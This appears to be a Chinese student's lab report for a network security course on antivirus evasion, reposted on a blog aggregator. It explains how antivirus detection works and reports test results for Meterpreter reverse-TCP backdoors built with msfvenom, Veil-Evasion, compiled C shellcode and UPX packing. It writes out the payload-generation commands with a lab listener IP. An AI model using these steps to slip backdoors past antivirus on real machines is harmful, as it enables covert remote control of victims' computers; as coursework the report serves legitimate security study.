zoukankan      html  css  js  c++  java
  • 20155232《网络对抗》Exp3 免杀原理与实践

    20155232《网络对抗》Exp3 免杀原理与实践

    问题回答

    • 1.基础问题回答

    (1)杀软是如何检测出恶意代码的?


    基于特征码的检测

    特征码:一段特征码就是一段或多段数据。

    如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。


    启发式恶意软件检测

    根据些片面特征去推断。

    通用性,不精确。


    基于行为的恶意软件检测

    修改文件硬盘、连接恶意网站、修改注册表


    (2)免杀是做什么?

    通过一些手段来瞒过杀软的检测扫描。避免被杀毒软件查杀。

    (3)免杀的基本方法有哪些?

    改变特征码:如果有exe可以加壳,有shellcode可以用encode进行编码,有源代码可以用veil-evasion进行重写再编译。

    改变行为
    尽量使用反弹式连接、使用隧道技术
    基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码

    • 2.离实战还缺些什么技术或步骤?

    实战靶机不会乖乖被你植入一个后门程序,并没有这么理想的情况,也不可能出现让你多次尝试连接还没有被察觉的情况,难度就会大大加强。而且现在各种杀毒软件的病毒库在不断地更新,所以需要探索出新的方法在实战中去应用。

    实践内容


    1.使用msf生成后门程序的检测


    直接用上个实验的20155232_backdoor.exe进行检测,但是提示说不能有数字,所以修改名字后检测:

    • 扫描结果:46%的杀软(18/39)报告发现病毒.

    2.Msfvenom使用编码器生成meterpreter可执行文件

    • 可以尝试多编码几次比如10次,理论上肯定比一次好些...但上课时老师说编码器可能就本身会被发现。
      就多编码几次试试,看看能不能好点,就试十次吧:在指令里加上
    i 10
    

    • 扫描结果:48%的杀软(19/39)报告发现病毒,所以这个方法并不够免杀。

    使用命令

    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.229.137 LPORT=443 -f war > java_backdoor.jar
    

    生成jar文件

    出现错误:

    然后将名字进行修改即可,。。。

    哇塞还不错哦
    39个杀毒软件5个报毒。
    将程序复制到带杀软的win10中,没有任何反应。

    3.veil-evasion生成可执行文件


    在尝试安装和下载veil的安装包进行安装失败
    又使用命令sudo apt-get 也失败后,使用了从老师那里拷贝的虚拟机~

    • 命令行直接输入veil打开软件
    • 根据menu提示依次输入下面的指令

    问题

    之前在输入python的时候提示错误

    use python/meterpreter/rev_tcp.py
    

    解决

    于是选择换成c,重复上面的操作,发现ok了,可以生成可执行文件啦。

    • 根据menu提示依次输入下面的指令
    
    
    # list
    # use 7
    
    
    
    • 接着是设置LHOST和LPORT
    set LHOST 192.168.229.137
    set LPORT 5232
    generate
    
    

    • 设置你想生成的文件名

    • 成功~

    • 按照路径去复制此文件

    注意

    需要切换到图中标出来的目录才能找到此文件,在进行搜索:

    • 扫描一下:

    在拷贝到win10的过程中,没有被拦截。
    结果是比MSF进步了很多,只有8个引擎检测出来了有后门。

    实验了一下360也没能查杀出来:
    突然觉得360有点菜啊。。。。=v=!


    4.C语言调用Shellcode


    • 下面指令会生成一个c语言格式的Shellcode数组。
    # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.229.137 LPORT=443 -f c
    

    • 使用命令将该C语言代码转换为一个可在64位windows系统下操作的可执行文件

    VirSCAN.org检测结果如下:

    • 根据老师提供的链接下载安装vs。并且选择桌面开发c++。

    • 进行编译运行,生成了exe文件:

    放在网站上扫描一下~

    比之前少了很多~
    还是不错滴~

    • 在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口,进行回连:

    回连成功:

    360依旧没有扫描出来~

    5.加壳

    • upx是一种压缩程序,可以实现加壳的功能,这里简单介绍该指令加壳的命令格式:
    upx 需要加壳的文件名 -o 加壳后的文件名
    

    • 检测一下

    感觉没有太大的变化。。。哈哈哈加壳后查杀率不但没有减少反而相比上一个提高了,360也提醒我有木马病毒,让我赶紧清理。
    说明这个方法实现不了免杀。。

    6.通过组合应用各种技术实现恶意代码免杀
    加壳+veil-evasion

    在将生成的文件进行扫描:

    跟上一种情况比起来差不多~哈哈哈哈
    不过360没有扫描出来~

    6.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    总结体会

    在这次的实验里安装veil出现了不少问题,最终也没有解决,就用了老师的虚拟机。。。然后通过这次实验可以了解到,实现免杀的技术有很多种,需要慢慢学习和探索,很多免杀的方法见都没见过,有的也没有看懂,对于软件生成来说,很容易暴露特征,而自己手工编写更能实现免杀。最重要的电脑主机的杀毒软件需要进行更新,而且选择一个好的软件也很重要。

  • 相关阅读:
    java。equal()和== 的区别
    java。封装
    java。OOA,OOD,OOR
    java。类和对象
    java、数组;堆区,栈区
    java。 break和continue区别
    NYOJ 228 士兵杀敌(五)【差分标记裸题】
    2017CCPC 杭州 J. Master of GCD【差分标记/线段树/GCD】
    CF1025B Weakened Common Divisor【数论/GCD/思维】
    网络流算法笔记
  • 原文地址:https://www.cnblogs.com/lsqsjsj/p/8747531.html
Copyright © 2011-2022 走看看